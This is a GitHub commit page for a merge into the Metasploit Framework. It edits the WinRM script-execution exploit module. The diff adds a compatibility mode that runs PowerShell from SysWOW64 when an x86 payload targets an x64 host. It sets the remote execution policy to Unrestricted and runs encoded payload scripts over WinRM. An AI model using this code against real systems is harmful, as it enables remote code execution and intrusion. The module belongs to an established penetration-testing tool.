Skip to content

Commit b465d20

Browse files
committed
Merge branch 'feature/winrm_compat_mode' of git://github.com/dmaloney-r7/metasploit-framework into dmaloney-r7-feature/winrm_compat_mode
2 parents 3e81fb2 + 5e8b9a2 commit b465d20

File tree

1 file changed

+16
-9
lines changed

1 file changed

+16
-9
lines changed

modules/exploits/windows/winrm/winrm_script_exec.rb

Lines changed: 16 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ def initialize(info = {})
6565
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
6666
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
6767
], self.class)
68-
68+
@compat_mode = false
6969
end
7070

7171
def check
@@ -83,7 +83,6 @@ def exploit
8383
return
8484
end
8585
if powershell2?
86-
return unless correct_payload_arch?
8786
path = upload_script
8887
return if path.nil?
8988
exec_script(path)
@@ -127,15 +126,15 @@ def upload_script
127126

128127
def exec_script(path)
129128
print_status "Attempting to execute script..."
130-
cmd = "powershell -File #{path}"
129+
cmd = "#{@invoke_powershell} -File #{path}"
131130
winrm_run_cmd_hanging(cmd)
132131
end
133132

134133
def encoded_psh(script)
135134
script = script.chars.to_a.join("\x00").chomp
136135
script << "\x00" unless script[-1].eql? "\x00"
137136
script = Rex::Text.encode_base64(script).chomp
138-
cmd = "powershell -encodedCommand #{script}"
137+
cmd = "#{@invoke_powershell} -encodedCommand #{script}"
139138
end
140139

141140
def temp_dir
@@ -173,11 +172,12 @@ def check_remote_arch
173172
end
174173

175174
def correct_payload_arch?
176-
target_arch = check_remote_arch
177-
case target_arch
175+
@target_arch = check_remote_arch
176+
case @target_arch
178177
when "x64"
179178
unless datastore['PAYLOAD'].include? "x64"
180-
print_error "You selected an x86 payload for an x64 target!"
179+
print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
180+
@compat_mode = true
181181
return false
182182
end
183183
when "x86"
@@ -218,8 +218,15 @@ def powershell2?
218218
end
219219
end
220220

221+
return false unless correct_payload_arch? or @target_arch == "x64"
222+
if @compat_mode == true
223+
@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
224+
else
225+
@invoke_powershell = "powershell"
226+
end
227+
221228
print_status "Attempting to set Execution Policy"
222-
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
229+
streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
223230
if streams == 401
224231
print_error "Login failed!"
225232
return false
@@ -228,7 +235,7 @@ def powershell2?
228235
print_error "Recieved error while running check"
229236
return false
230237
end
231-
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
238+
streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
232239
if streams['stdout'].include? 'Unrestricted'
233240
print_good "Set Execution Policy Successfully"
234241
return true

0 commit comments

Comments
 (0)